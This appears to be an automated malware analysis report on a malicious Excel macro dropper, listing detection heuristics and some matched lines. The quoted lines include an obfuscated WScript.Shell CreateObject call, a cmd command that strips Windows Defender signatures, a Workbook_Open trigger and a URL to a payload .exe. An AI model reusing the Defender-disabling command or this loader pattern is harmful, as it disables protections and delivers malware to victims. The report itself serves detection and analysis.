Malicious Office (OOXML) — malware analysis report

Heuristics 9

• ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
• VBA project inside OOXML medium 5 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
  Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  Matched line in script

  Set AlWhaWu8AmxahJAs = CreateObject(zIiEvHzx0("\Xhwnuy3Xmjqq", "5"))

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Set AlWhaWu8AmxahJAs = CreateObject(zIiEvHzx0("\Xhwnuy3Xmjqq", "5"))

• cmd.exe reference in VBA high OLE_VBA_CMD
  cmd.exe reference in VBA
  Matched line in script

  BypassWindowsDefender2 = ("cmd /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  Private Sub Workbook_Open()

• Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://panelonetwothree.ga/work/3.exe In document text (OOXML body / shared strings)

Open this report in the interactive analyzer, or submit your own file for analysis.